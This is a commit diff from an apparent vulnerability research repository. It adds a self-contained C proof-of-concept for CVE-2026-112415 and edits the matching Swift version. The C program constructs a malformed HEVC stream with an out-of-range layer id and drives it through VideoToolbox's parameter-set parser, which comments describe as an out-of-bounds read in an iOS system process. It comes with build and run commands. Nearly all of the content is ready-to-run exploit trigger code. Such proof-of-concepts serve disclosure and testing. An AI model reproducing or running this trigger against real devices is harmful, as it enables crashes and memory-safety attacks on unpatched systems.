v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,68 @@
|
||||
// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
|
||||
// HEVC layer id outside the validated range
|
||||
// C twin of the Swift POC: builds the bad-layer-id HEVC stream and drives it through
|
||||
// CMVideoFormatDescriptionCreateFromHEVCParameterSets.
|
||||
// Build: clang -O2 -o cve-2026-112415 CVE-2026-112415.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation
|
||||
// Run: ./cve-2026-112415 [layer-id]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
// ── seed construction (from Cinder27 Sources: VideoPayload.hevcBadLayerID) ──
|
||||
static buf hevc_bad_layer_id(uint8_t layer_id) {
|
||||
buf out = {0};
|
||||
bcat(&out, "\x00\x00\x00\x01", 4); // Annex-B start code
|
||||
// VPS NAL, two-byte header carrying the out-of-range layer id
|
||||
bcat(&out, (uint8_t[]){0x40, 0x01, layer_id, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60}, 9);
|
||||
bcat(&out, "\x00\x00\x00\x01", 4);
|
||||
bcat(&out, (uint8_t[]){0x42, 0x01, layer_id, 0x01, 0x60, 0x00}, 6); // SPS
|
||||
brep(&out, 0, 16);
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: parameter-set parse through VideoToolbox ──
|
||||
#include <VideoToolbox/VideoToolbox.h>
|
||||
#include <CoreMedia/CoreMedia.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
uint8_t layer_id = argc > 1 ? (uint8_t)strtoul(argv[1], NULL, 0) : 0x3F;
|
||||
|
||||
buf data = hevc_bad_layer_id(layer_id);
|
||||
FILE *f = fopen("hevc_bad_layer.hevc", "wb");
|
||||
if (f) { fwrite(data.d, 1, data.n, f); fclose(f); }
|
||||
|
||||
CMFormatDescriptionRef format = NULL;
|
||||
const uint8_t *ptr = data.d;
|
||||
OSStatus status = CMVideoFormatDescriptionCreateFromHEVCParameterSets(
|
||||
kCFAllocatorDefault,
|
||||
1, // one parameter set: the whole buffer
|
||||
&ptr,
|
||||
(size_t[]){data.n},
|
||||
4, // 4-byte NAL unit header length
|
||||
NULL,
|
||||
&format);
|
||||
|
||||
printf("CVE-2026-112415 · layer id 0x%02x · OSStatus %d\n", layer_id, (int)status);
|
||||
if (format) {
|
||||
CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format);
|
||||
printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height);
|
||||
CFRelease(format);
|
||||
} else {
|
||||
printf("no format description produced (rejected at entry)\n");
|
||||
}
|
||||
printf("seed: hevc_bad_layer.hevc (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1));
|
||||
int rc = status == noErr ? 0 : 1;
|
||||
bfree(&data);
|
||||
return rc;
|
||||
}
|
||||
@@ -1,19 +1,8 @@
|
||||
// vid.hevc · AVD.videodecoder 插件 · CVE-2026-112415
|
||||
// 原语: OOB 读 · 系统进程 · tier 2
|
||||
// Primitive: OOB read · system process · tier 2
|
||||
//
|
||||
// [zh] MVHEVC 层 ID 越界
|
||||
// 多层 HEVC 的 layer id 在 27.0 未做范围校验,越界值直接进入插件的层表索引。27.2 补入层 ID 校验。
|
||||
//
|
||||
// [en] MVHEVC layer id out of range
|
||||
// Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight
|
||||
// into the plugin's layer table index. iOS 27.2 adds layer id validation.
|
||||
// ── 判别 / oracle ──
|
||||
// 层 ID 取 0x3F(有效范围之外)。
|
||||
|
||||
// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
|
||||
// MVHEVC layer id out of range
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -34,7 +23,7 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
|
||||
// ── seed construction (from Cinder27 Sources: VideoPayload) ──
|
||||
enum VideoPayload {
|
||||
static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data {
|
||||
var out = Data()
|
||||
|
||||
Reference in new issue
Block a user